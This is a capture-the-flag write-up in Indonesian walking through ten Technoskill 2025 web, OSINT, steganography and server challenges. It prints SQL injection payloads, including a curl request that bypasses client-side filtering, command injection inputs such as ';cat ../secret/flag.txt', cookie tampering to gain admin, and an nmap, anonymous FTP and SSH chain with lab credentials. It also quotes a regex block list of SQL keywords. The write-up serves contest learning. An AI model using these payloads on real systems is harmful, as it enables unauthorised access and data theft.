# WriteUp CTF Technoskill 1.0 2025 ## <center>Tyzals</center> ![image](https://hackmd.io/_uploads/S1S9b_mUxe.jpg) <center><b>Harsya Brahmantyo Wibowo</b></center> ### Daftar Isi #### 🟒 Easy * [Netcyber](#netcyber) * [KFC](#kfc) * [Yummy Cookie](#yummy-cookie) * [Scenario ???](#scenario) #### 🟑 Medium * [Replayer](#replayer) * [727](#727) * [Login 2.0](#login-2-0) * [Schizo](#schizo) #### πŸ”΄ Hard * [Touch Grass](#TouchGrass) * [Class of Tactical Fabrication](#Class-of-Tactical-Fabrication) #### πŸ† RESULT * [Score Board](#result) --- ## 🟒 Easy ### <a id="netcyber"></a> Netcyber > **Poin:** 300 > **URL:** `https://netlab-ctf-netcyber.tagj8z.easypanel.host/` #### 🧩 Cerita Awal Pas buka challenge ini, tampilannya keliatan kayak web company biasa. Gak ada tombol aneh, gak ada input field, keliatan banget kayak landing page doang. > ✨ Feeling awal: "Hmm... pasti ada sesuatu yang disembunyiin." Langsung aja saya scan pake tool `dirsearch`. #### πŸ” Hasil Dirsearch Ditemuin endpoint `/flag` yang ternyata langsung redirect ke `/login`. --- #### πŸ” Halaman Login Di halaman `/login`, ada form dengan username dan password. Awalnya saya kira ini challenge tentang SQL Injection. Saya cobain payload seperti: * `' OR 1=1--` * `admin' #` * dan semacamnya... Tapi gak ada respon yang mencurigakan. Gak error, gak redirect, gak muncul tanda berhasil login. ![image](https://hackmd.io/_uploads/Hke6S76Bxg.png) --- #### πŸ•΅οΈ Kembali ke Home Karena mandek di halaman login, saya balik lagi ke halaman utama. Scroll sampai bawah, saya nemu bagian ini: > **Ready to Secure Your Business?** > Contact us today to schedule a consultation or learn more about our services. > βœ‰οΈ `notkamalfrfr@x.com` Nah ini mencurigakan banget. Nama `notkamalfrfr` ini unik dan kayaknya bukan email beneran. --- #### πŸ” Stalking di X (Twitter) Saya coba cek ke `x.com` dengan username `notkamalfrfr`, dan bener aja: ada akun dengan username itu. > 🧠 Feeling saya bilang, "Pasti ada sesuatu di sana..." Ternyata dia pernah upload foto tampilan login yang password-nya keliatan. Password-nya: `uiauiaui_uiiiauia` ![image](https://hackmd.io/_uploads/B1ZeU7Trxl.png) --- #### βœ… Login Sukses Saya cobain login pakai: * **Username:** `notkamalfrfr` * **Password:** `uiauiaui_uiiiauia` Dan... boom! Langsung masuk dan muncul flag πŸŽ‰ ![image](https://hackmd.io/_uploads/ryJGU7prxx.png) --- ### 🏁 Flag ``` TECHNOSKILL{Tr4l4l3LoTr4lala_tun9tun9s4hur} ``` --- ### <a id="kfc"></a> KFC > **Poin:** 300 > **Deskripsi:** The last place we talk to each other before you become another person. > > **Format Flag 1:** `TECHNOSKILL{"address dari kfc"}` (address dapat memiliki spasi dan merupakan alphanumeric) > **Format Flag 2:** `TECHNOSKILL{longitude, latitude}` atau `TECHNOSKILL{--.---, ---.---}` #### 🧩 Permulaan Jadi di challenge ini kita cuma dikasih **sebuah gambar** KFC. Awalnya bingung ini ngapain...(udah cek metadata dsb) kayak cuma foto biasa doang, tapi pas diperhatiin, ternyata... > Gambar ini kayak **dihalangi oleh pattern atau watermark**. > Gak bisa di-scan pakai Google Lens, hasilnya kacau. ![Capture-min](https://hackmd.io/_uploads/HkWyvX6Sgx.png) --- #### 🧠 Clue Tersembunyi: Lokasi Jepang? Kalau diperhatiin baik-baik, di gambar itu ada **tulisan Jepang**. Dari situ saya mulai mikir, *"Oke, berarti ini KFC di Jepang."* Tapi ternyata... **jumlah cabang KFC di Jepang tuh ada 1200+** 🀯 Bisa gila kalau harus cari satu-satu. --- #### πŸͺ„ Gunakan AI untuk Hilangkan Watermark Saya keinget bisa pake tool online buat hapus watermark. Langsung googling dan nemu: `https://www.watermarkremover.io/` Upload gambarnya ke situ, dan boom... watermark-nya ilang. ![wmremove-transformed](https://hackmd.io/_uploads/Hy6sI7aHgg.png) --- #### πŸ” Google Lens Menyelamatkan Begitu watermark hilang, saya buka Google Lens dan scan gambarnya. Langsung muncul hasil pencarian lokasi, dan... beneran ketemu! ![1-min](https://hackmd.io/_uploads/B1E_wQTSxg.png) --- #### 🧠 Plot Twist: Gojo & Geto? Deskripsi challenge ini sempat bikin saya mikir keras: > *"The last place we talk to each other before you become another person."* Setelah saya cari tahu (maklum, bukan wibu πŸ˜…), ternyata itu **referensi ke anime Jujutsu Kaisen**, tempat Gojo dan Geto terakhir kali ngobrol β€” yaitu **KFC Shinjuku**. [Lihat di Google Maps](https://www.google.com/maps/place/KFC+Nishi-Shinjuku/@35.6929591,139.6994212,17z/data=!3m1!4b1!4m6!3m5!1s0x60188d71d64189f1:0xfcf989420881bb2d!8m2!3d35.6929591!4d139.6994212!16s%2Fg%2F1tjkfswz?entry=ttu&g_ep=EgoyMDI1MDcwNy4wIKXMDSoASAFQAw%3D%3D) --- #### ⚠️ Format Flag Bikin Kesel Saya sempat beberapa kali **salah submit** karena format flagnya sensitif. Setelah beberapa kali percobaan dan nyobain dua format (alamat & koordinat), akhirnya ketemu yang benar. --- ### 🏁 Flag Flag utama: ``` TECHNOSKILL{1 Chome-2-10 Nishishinjuku, Shinjuku City, Tokyo 160-0023, Japan} ``` Format alternatif (berdasarkan deskripsi): ``` TECHNOSKILL{139.699, 35.692} ``` --- ### <a id="yummy-cookie"></a> Yummy Cookie > **Poin:** 300 > **URL:** `https://netlab-ctf-cookie-yumy.tagj8z.easypanel.host/` #### πŸͺ Pertama Kali Masuk Pas buka web-nya, tampilannya sederhana banget: ![image](https://hackmd.io/_uploads/H1USOXaBle.png) Form login ini cuma minta **username doang**, gak ada password sama sekali. Yaudah, saya masukin nama sembarang. --- #### πŸ™„ Setelah Login Begitu masuk, tampilannya berubah jadi kayak gini: ![image](https://hackmd.io/_uploads/BkaUd7TBgg.png) Hmm... biasa banget dan kayak gak ada apa-apa. --- #### πŸͺ Karena Judulnya "Yummy Cookie"... Saya jadi curiga jangan-jangan ada rahasia di **cookie-nya**. Langsung saya buka cookie pake **Cookie Editor (extension Chrome)**, dan bener aja... Ada cookie bernama `user` dengan value `<username_yang_kita_input_tadi>`. ![image](https://hackmd.io/_uploads/H1KYuQargx.png) --- #### πŸ‘¨β€πŸ’Ό Ubah Jadi Admin Langsung aja saya ubah value cookie `user` menjadi `admin`, lalu refresh halaman... Boom! Halaman berubah: ![image](https://hackmd.io/_uploads/Hkmo_Q6Blx.png) --- #### πŸ”“ Decrypt Base64 Bagian terakhir menampilkan address yang kayak acak-acak gitu: `aHR0cHM6Ly9wYXN0ZWJpbi5jb20vYWVyTXVzcWs=` Saya langsung decode base64 β†’ hasilnya: `https://pastebin.com/aerMusqk` ![image](https://hackmd.io/_uploads/ryUnuQprlx.png) Buka link tersebut, dan... ada flag-nya! ![image](https://hackmd.io/_uploads/rJYauXTrel.png) --- ### 🏁 Flag ``` TECHNOSKILL{yum_yum_c00k135_50_yummie} ``` --- ### <a id="scenario"></a> Scenario ??? > **Poin:** 300 > **URL:** `https://netlab-ctf-bull-board.tagj8z.easypanel.host/` #### 🧩 Deskripsi Begitu buka web-nya, kita langsung dilempar ke `/login` dan cuma disuruh masukin nama. Hmm... awalnya ngira ini bakal simple, tapi ternyata... ![image](https://hackmd.io/_uploads/H1cWF7arxe.png) Setelah submit nama (aku masukin aja nama sembarang), langsung masuk ke halaman *Bulletin Board*. Di situ ada semacam chat board dengan berbagai karakter ngomongin sesuatu yang kayaknya nyambung satu sama lain. Awalnya agak ngaco, tapi kalau diperhatiin ada clue walau ada fake flag. ![image](https://hackmd.io/_uploads/rJAPFQpHlx.png) --- #### πŸ”Ž Proses Penyelesaian Ahh, saya coba langsung GET datanya aja deh, ternyata bener ternyata pake API: ![image](https://hackmd.io/_uploads/HkqCYQTBll.png) Pas dilihat di responsenya ternyata ada... ```json ... { "username": "kim_dokja", "message": "This scenario seems information-based..." }, { "username": "yoo_joonghyuk", "message": "The only answer is to find the endpoint directly..." }, { "username": "han_sooyoung", "message": "Let him waste time..." }, { "username": "admin", "message": "[Log] Origin: tls123 | Extracted: 'TECHNOSKILL{N3v3r'" }, ... { "username": "admin", "message": "[Log] Continued fragment: '_ending_5t0ry}' | Source file: story_final_final2_draft.json" }, ... { "username": "admin", "message": "[Log] Fully assembled: TECHNOSKILL{Neverending_5t0ry}" } ... ``` 1. Cek halaman utama β†’ tampilannya cuma kaya board dengan banyak karakter fiksi saling chat. 2. Curiga kalau ini ambil data dari API. Buka DevTools β†’ tab *Network* β†’ cari request yang ambil data `GET /api/posts`. 3. Bener aja! Di situ ada JSON panjang banget berisi list semua post yang muncul di board β€” termasuk dari user `admin` yang ternyata nyisipin flag dalam bentuk pecahan dan akhirnya digabungkan. 4. Yak! Itu flag-nya! 🎯 --- ### 🏁 Flag ``` TECHNOSKILL{Neverending_5t0ry} ``` --- --- ## 🟑 Medium ### <a id="replayer"></a> Replayer > **Poin:** 400 > **URL:** `https://netlab-ctf-replayer-fe.tagj8z.easypanel.host/` #### πŸ•΅οΈβ€β™‚οΈ Deskripsi Awal Saat pertama kali membuka *web*, kita akan melihat tampilan sebuah *chatbot* sederhana. Kita bisa mengetik teks, dan *chatbot* akan memberikan balasan. Awalnya, tidak ada yang aneh, tapi Jam Terbang CTF saya langsung menyala 🧠πŸ’₯. Model aplikasi seperti ini sering kali digunakan dalam *challenge* **Command Injection**. Jadi, saya langsung mencoba *payload* standar. --- #### πŸ§ͺ Eksploitasi Command Injection Saya mencoba *payload* klasik untuk **Command Injection**: ``` ;ls ``` Dan *boom*! Respons dari *chatbot* memberikan daftar *file* atau *folder* yang ada di direktori saat ini: ![image](https://hackmd.io/_uploads/By9Uimarex.png) Ini mengonfirmasi bahwa *command injection* berhasil dan *chatbot* terhubung ke sistem *file*. Saya lanjutkan eksplorasi: ``` ;ls ../ ``` *Output* menunjukkan daftar direktori induk, dan saya melihat sesuatu yang menarik: ![image](https://hackmd.io/_uploads/BJWOomprxx.png) Ada *folder* bernama `secret`! Tanpa ragu, saya langsung mencoba melihat isinya: ``` ;ls ../secret ``` Dan ya, saya menemukan `flag.txt`: ``` ;cat ../secret/flag.txt ``` ![image](https://hackmd.io/_uploads/rkEtjmaBlg.png) πŸŽ‰ *Flag*-nya langsung muncul! --- ### 🏁 Flag ``` TECHNOSKILL{WOW_you_dug_deep_huh} ``` --- ### <a id="727"></a> 727 > **Poin:** 400 > **URL:** `https://netlab-ctf-727.tagj8z.easypanel.host/` #### πŸ•ŠοΈ Deskripsi Singkat *Challenge* ini nawarin pengalaman yang beda banget dari CTF pada umumnya. Dengan tema waktu, kultus, dan simbol-simbol misterius, "Cult of 7:27" ngajak kita nyelam ke dalam teka-teki tersembunyi yang cuma bisa dipecahin kalau kita **sabar dan peka banget**. Di halaman web-nya, enggak ada *form login*, enggak ada tombol apa-apa, cuma ada satu pesan jelas: ![image](https://hackmd.io/_uploads/Sk-8146Ble.png) --- #### πŸ•°οΈ Bagian Kritis: Jam UTC Jadi Kunci! Begitu kita buka *web*-nya, yang paling menonjol itu **jam UTC** yang terus berputar. Enggak ada yang bisa dilakuin selain ngeliatin jam itu dan pesan misterius tadi. Dan ya, sesuai nama *challenge*-nya, kita langsung curiga kalau jam **07:27 UTC** itu kunci rahasianya. Setelah nyoba ngubah waktu sistem di komputer (lewat Pengaturan Tanggal & Waktu Windows), begitu jam menunjukkan tepat **07:27 UTC**... ![image](https://hackmd.io/_uploads/rJBzy4pHll.png) *jeng-jeng*... halaman *web*-nya langsung berubah sendiri! --- #### ✨ Transisi Halaman: Wahyu Terungkap! Begitu waktu tepat di 07:27 UTC, muncul kutipan baru yang bikin merinding: ![image](https://hackmd.io/_uploads/HJxOyyEpBgx.png) Dan yang paling penting, muncul tombol baru yang bikin penasaran: > **Receive the Revelation** Saat tombol itu diklik, kita langsung dapet *file* **`vision.zip`**. Hore! --- #### πŸ“¦ Mengungkap Isi `vision.zip` Di dalam *file* ZIP itu, ada dua *file* lagi yang jadi petunjuk kita selanjutnya: * `path.txt` * `runes.txt` **πŸ“ `path.txt`** Isinya cuma pesan samar yang bikin mikir: > *"The Tablet rests in the open, among the Seer’s shared records. It lies beneath the sigil known to those who speak the true name."* **πŸ” `runes.txt`** Ini isinya simbol-simbol aneh, kayak tulisan kuno: ``` βŸ’βŸ‚βŸŠβŸ‰αš΄βŸ† βŸƒαšΊβŸ† αš΄βŸ†αš‘βŸ†βŸ ``` --- #### 🧠 Mencari Sang `Seer` (Exorthe) Dari kutipan yang muncul pas transisi halaman, ada nama `Exorthe@Github.com`. Ini langsung jadi petunjuk vital! Aku langsung nyari *username* `Exorthe` di GitHub, dan bener aja, ada sebuah repositori publik yang berisi *file* bernama **`tablet.txt`**. Jackpot! ![image](https://hackmd.io/_uploads/BJxt1EpHeg.png) --- #### πŸ“œ Memecahkan Kode di `tablet.txt` *File* `tablet.txt` ini ternyata adalah kunci untuk menerjemahkan simbol-simbol (rune) tadi. Isinya semacam pemetaan simbol ke alfabet biasa, yang kelihatannya pakai **Atbash cipher** (alfabet terbalik): ``` Z-Y-X-W-V-U-T-S-R-Q-P-O-N-M-L-K-J-I-H-G-F-E-D-C-B-A ⟌-ᛣ-α›ͺ-βŸ„-ᚑ-ᚒ-βŸƒ-ᚴ-βŸ‚-α›©-βŸ’-ᚩ-⟐-α›–-βŸ—-α›•-ᛁ-βŸ‰-ᚺ-⟈-ᚠ-βŸ†-⍒-ᛃ-α“­-⟊ ``` Setelah dicocokin simbol dari `runes.txt` dengan pemetaan ini: * `βŸ’` = P * `βŸ‚` = R * `⟊` = A * ...dan seterusnya Hasil terjemahannya adalah: **PRAISE THE SEVEN** --- ### 🏁 Flag ``` TECHNOSKILL{PRAISE THE SEVEN} ``` --- ### <a id="login-2-0"></a> Login 2.0 > **Poin:** 400 > **URL:** `https://netlab-ctf-login-fe.tagj8z.easypanel.host/` > **Deskripsi:** This time i have added some new security measures #### πŸ•΅οΈβ€β™‚οΈ Penyelidikan Awal Begitu buka *web*-nya, kita langsung disuguhkan halaman *login* standar: ![image](https://hackmd.io/_uploads/rJeHZ4TBex.png) Melihat *form login* seperti ini, insting pertama saya langsung bilang: "Pasti **SQL Injection**!" 🧠 Saya coba *payload* klasik untuk SQL Injection di kolom *password*, seperti: **Email:** `sembarang@example.com` **Password:** `' or 1=1 limit 1 -- -+` Tapi, hasilnya cuma `Invalid credential`. Wah, kok gagal ya? --- #### πŸ” Mengungkap Sanitasi di Konsol Karena gagal, saya langsung buka **Console** di *browser* (biasanya F12) untuk melihat apa yang terjadi di balik layar. Dan di sinilah petunjuk pentingnya muncul! Saya melihat *log* seperti ini: ![image](https://hackmd.io/_uploads/S1_L-4aBxg.png) *Output* `Sanitized Password` itu langsung bikin saya **notice**: ada proses sanitasi yang membuang karakter penting seperti `or`, `'`, dan `;` dari *payload* SQL Injection saya! Ini artinya, ada **filter di sisi *client*** (di *browser*) karena dia dari `index-C6f-3x8_.js`. --- #### πŸ’‘ Analisis Kode JavaScript Saya langsung tahu kalau proses sanitasi ini terjadi di *file* `index-C6f-3x8_.js` seperti yang ditunjukkan di konsol. Begitu saya buka *file* itu, saya menemukan potongan kode ini: ```javascript // ... (kode di-obfuscate) const R = /('|--|;|\/\*|\*\/|xp_|exec|union|select|insert|update|delete|drop|alter|create|truncate|replace|grant|revoke|cast|convert|char|nchar|varchar|nvarchar|declare|set|sleep|benchmark|information_schema|or\s+\d+=\d+)/gi , P = D.replace(R, "") , k = K.replace(R, ""); console.log("Sanitized Email:", P), console.log("Sanitized Password:", k); try { const ml = { email: P, password: k }; if (console.log("Sending request with body:", ml), !(await fetch("https://netlab-ctf-login.tagj8z.easypanel.host/login", { // ... ``` Bagian ini mengonfirmasi kecurigaan saya. Variabel `R` adalah *regex* yang membuang banyak *keyword* SQL Injection. Namun, yang paling penting adalah *regex* ini dijalankan di **sisi *client***. Ini berarti, jika kita bisa mengirim *request* POST langsung ke *server* tanpa melewati validasi *frontend* ini, *payload* kita mungkin akan berhasil! --- #### πŸš€ Bypass Sanitasi dengan cURL Karena sanitasinya hanya di *client-side*, saya memutuskan untuk langsung mengirim *request* POST ke *endpoint login* menggunakan **cURL**. Dengan begitu, *payload* SQL Injection saya tidak akan disanitasi. Saya menggunakan *payload* yang sudah dimodifikasi sedikit agar sesuai dengan konteks `JSON` dan *escaped quotes*: ```bash curl 'https://netlab-ctf-login.tagj8z.easypanel.host/login' \ -X POST \ -H 'Content-Type: application/json' \ -d '{"email":"admin@example.com", "password":"'\'' OR '\''1'\''='\''1'\'' -- "}' ``` Dan *yup*! *Request* ini berhasil dan *flag* langsung didapatkan dalam *response* JSON dari *server*: ```json { "success": true, "user": { "id": 1, "username": "flag", "password": "TECHNOSKILL{put_s@n1t1z3r_0n_th3_b4ckend_4s_w3ll}" } } ``` ![image](https://hackmd.io/_uploads/Sk0s-EaBlg.png) --- ### 🏁 Flag ``` TECHNOSKILL{put_s@n1t1z3r_0n_th3_b4ckend_4s_w3ll} ``` --- ### <a id="schizo"></a> Schizo > **Poin:** 400 > **URL:** `https://netlab-ctf-wordpress.tagj8z.easypanel.host/` > **Deskripsi:** a page i could no longger find #### πŸ•΅οΈβ€β™‚οΈ Penjelajahan Awal Begitu saya buka *link* tantangannya, yang nongol cuma halaman blog WordPress yang sederhana banget. Tampilannya polos, kayak blog standar baru di-*install*. ![image](https://hackmd.io/_uploads/B18ozVTBll.png) --- #### πŸ” Mengikuti Jejak Link Saya langsung coba klik judul *post* pertama yang paling keliatan di halaman utama: "Welcome to Technoskill 2025 – Where Curiosity Meets Code!". Klik itu langsung mengarahkan saya ke URL: `https://netlab-ctf-wordpress.tagj8z.easypanel.host/2025/06/22/hello-world/`. ![image](https://hackmd.io/_uploads/rJ3nzEaBlx.png) Halaman ini juga terlihat biasa saja, seperti halaman *post* blog pada umumnya. Namun, mata saya tertuju pada **bagian *navbar* di pojok kiri atas**. Di situ ada sebuah teks aneh yang terlihat seperti kode atau ID: **`x6IzN1XbqR`**. Ini pasti bukan teks biasa, pikir saya. Langsung saja saya klik teks itu! --- #### πŸš€ Menemukan Halaman Rahasia Setelah mengklik `x6IzN1XbqR`, *browser* saya diarahkan ke URL baru: `https://netlab-ctf-wordpress.tagj8z.easypanel.host/x6izn1xbqr/`. Dan *boom*! Halaman ini bukan lagi halaman blog biasa. Di sana terpampang jelas *flag*-nya! ![image](https://hackmd.io/_uploads/H1JAG4aSlx.png) Ternyata, "Schizo" ini maksudnya "sesuatu yang terlihat normal, tapi ada sisi tersembunyi yang enggak terduga"! --- ### 🏁 Flag ``` TECHNOSKILL{w0rdpr3ss_24102003} ``` ## πŸ”΄ Hard ### <a id="TouchGrass"></a> Touch Grass > **Poin:** 500 > **File:** `https://hackmd.io/_uploads/Sk2W0c0Slg.png ` > **Deskripsi:** time to touch some grass find the message in the grass. Siap, revisi diterima! Ternyata mata saya salah baca sandi Morse-nya di akhir. `MOWED` (dipotong/dibabat) memang jauh lebih masuk akal daripada `MOLDED` (berjamur) untuk konteks rumput. --- #### 🧩 Analisis Awal Begitu dapet file `field.png`, hal pertama yang bikin kaget adalah ukurannya: **11MB+**! Ini bukan gambar biasa. > ✨ Feeling pertama: "Ukurannya segede gaban, pasti ada sesuatu yang disumpel di dalemnya." Langsung aja saya keluarin jurus-jurus standar: * `exiftool field.png` β†’ gak ada metadata aneh. * Lihat gambarnya langsung β†’ Cuma foto lapangan golf biasa, gak ada yang aneh. Jadi kayaknya bukan OSINT. * `binwalk -e field.png` β†’ Nihil, gak ada file lain yang di-embed. Oke, berarti ini bukan steganografi level dasar. Pesannya pasti disembunyiin di dalam data pikselnya sendiri. --- #### πŸ”¬ Menggali Lebih Dalam dengan `zsteg` Karena metode standar gagal, saya langsung beralih ke senjata pamungkas buat steganografi LSB (Least Significant Bit): `zsteg`. Tool ini bisa nganalisis gambar dan nyari data tersembunyi di berbagai bit plane. Saya jalankan command: ```bash zsteg field.png ``` Dan... *jackpot*! Muncul banyak output, tapi ada satu baris yang langsung menarik perhatian: ![image](https://hackmd.io/_uploads/H14P05RBgx.png) Di situ ada pesan jelas: "here is your grass now find the message", diikuti serangkaian huruf `V` dan `W` yang misterius. --- #### 🌱 Dari Rumput ke Morse Awalnya bingung, ini kode apaan? `VW VVWV VWVV...` > 🧠 Tiba-tiba teringat masa lalu... "Tunggu, ini kan kayak Sandi Rumput!" Sebagai mantan anak pramuka, saya langsung ngeh! **Sandi Rumput** itu cuma cara lain buat nulis **Sandi Morse**. Pola rumput tinggi dan rendah itu melambangkan titik dan strip. Dari pola `V` dan `W` yang ada, mapping-nya jadi jelas: * **V** (rumput pendek) = **`.` (titik / dot)** * **W** (rumput tinggi) = **`-` (strip / dash)** --- #### Decoding Pesan Rahasia Sekarang tinggal kerjaan utamanya: nerjemahin kode `VW` tadi ke Morse, lalu ke teks biasa. 1. **Ciphertext:** `VW VVWV VWVV VW WWV VVVV VV WVV WVV V WV VV WV W VVVV V VVWV VV V VWVV WVV WW VVW VVV W WV WWW W WVVV V WW WWW VWW V WVV` 2. **Ubah ke Morse (V=. , W=-):** `.- ..-. .-.. .- --. .... .. -.. -.. . -. .. -. - .... . ..-. .. . .-.. -.. -- ..- ... - -. --- - -... . -- --- .-- . -..` 3. **Terjemahkan ke Teks:** ![image](https://hackmd.io/_uploads/BkbjR90rel.png) Setelah diterjemahkan semua, pesannya jadi: `A FLAG HIDDEN IN THE FIELD MUST NOT BE MOWED` --- ### 🏁 Flag ``` TECHNOSKILL{AFLAGHIDDENINTHEFIELDMUSTNOTBEMOWED} ``` ----- ### <a id="Class-of-Tactical-Fabrication"></a> Class of Tactical Fabrication > **Points:** 500 > **IP:** 8.215.63.72 > **Deskripsi:** There's always an entry for those who know ### πŸ—ΊοΈ Reconnaissance: Mencari Pintu Masuk Challenge ini dimulai dengan sebuah alamat IP (`8.215.63.72`). Langkah pertama adalah mencoba mengaksesnya melalui browser, namun tidak ada respons, yang menandakan port web (80/443) tidak terbuka. Langkah logis berikutnya adalah melakukan pemindaian port untuk mencari "pintu masuk" lain menggunakan `nmap`. ```bash nmap -sV -A 8.215.63.72 ``` Hasil pemindaian menunjukkan beberapa port yang terbuka, namun yang paling menonjol adalah: ![image](https://hackmd.io/_uploads/BkPEVblLeg.png) - **Port 21 (FTP):** Menjalankan `vsftpd 3.0.5` dan yang terpenting, `nmap` mendeteksi bahwa **login anonim diizinkan**. - **Port 22 (SSH):** Menjalankan `OpenSSH 8.9p1` Pintu masuk pertama yang paling jelas adalah melalui FTP. ----- ### πŸ”‘ Foothold Awal: Dari FTP ke SSH Saya langsung mencoba masuk ke server FTP sebagai pengguna `anonymous`. ```powershell PS C:\Users\msi> ftp 8.215.63.72 Connected to 8.215.63.72. 220 (vsFTPd 3.0.5) User (8.215.63.72:(none)): anonymous 230 Login successful. ``` Setelah berhasil masuk, saya memeriksa isi direktori dan menemukan sebuah file `creds.txt`. ```ftp ftp> ls 150 Here comes the directory listing. creds.txt ``` Isi dari `creds.txt` memberikan kredensial untuk langkah selanjutnya: > I know you will get it. Use this to get through another door. > Once you got there, use our secret path > > **student:nmixx00** Kredensial ini (`student:nmixx00`) saya gunakan untuk masuk ke server melalui SSH. ----- ### πŸ•΅οΈ Enumerasi: Menggali Lebih Dalam Setelah berhasil masuk sebagai `student` via SSH, saya mulai menjelajahi isi server. Dengan perintah `ls -R`, saya menemukan beberapa direktori. Namun, yang paling menarik adalah sebuah **direktori tersembunyi** di dalam `CaptureTheFlag-Club`. ```bash student@iZk1ajf6znogz081blawb7Z:~$ ls -aR ./CaptureTheFlag-Club: . .. .secret leader.png ./CaptureTheFlag-Club/.secret: . .. key.txt leader.png ``` Di dalam direktori `.secret`, terdapat file `key.txt` yang berisi petunjuk penting: > Access to the secret file is hidden inside our leader picture. > Just for your information, we have secret folder hidden inside the FTP server. > /var/ftp/.ctf-only Petunjuk ini mengarahkan saya untuk memeriksa file gambar `leader.png` yang ada di direktori yang sama. ----- ### πŸ–ΌοΈ Steganografi: Kunci Terakhir Berdasarkan petunjuk, saya menganalisis file `leader.png` menggunakan `zsteg` untuk mencari data tersembunyi. ```bash zsteg leader.png ``` Hasilnya langsung memberikan kredensial final yang saya butuhkan: ![image](https://hackmd.io/_uploads/S15y4blLex.png) Dari output tersebut, saya mendapatkan kredensial baru: - **User:** `cftp` - **Password:** `9120758hafhfa` ----- ### πŸ† Capturing the Flag Dengan kredensial terakhir di tangan, ada dua cara mudah untuk mendapatkan flag: #### Metode 1: Melalui FTP (Login Baru) Masuk kembali ke server FTP, kali ini menggunakan kredensial `cftp`. ```powershell PS C:\Users\msi> ftp 8.215.63.72 User (8.215.63.72:(none)): cftp Password: 230 Login successful. ftp> ls flag.txt ``` Kita bisa langsung mengunduh `flag.txt`. #### Metode 2: Melalui SSH (Jalur Cepat) Karena sudah berada di dalam sesi SSH, saya bisa langsung menuju ke direktori yang dituju (yang ternyata adalah `/var/cftp/`) dan membaca flag-nya. ![image](https://hackmd.io/_uploads/rJl0QWgIel.png) ### 🏁 Flag ``` TECHNOSKILL{FTP_ST3G0_CH34T} ``` ## πŸ† RESULT ### <a id="result"></a> ![image](https://hackmd.io/_uploads/rJ78MdQ8ee.png) ![image](https://hackmd.io/_uploads/rymYzumLle.png)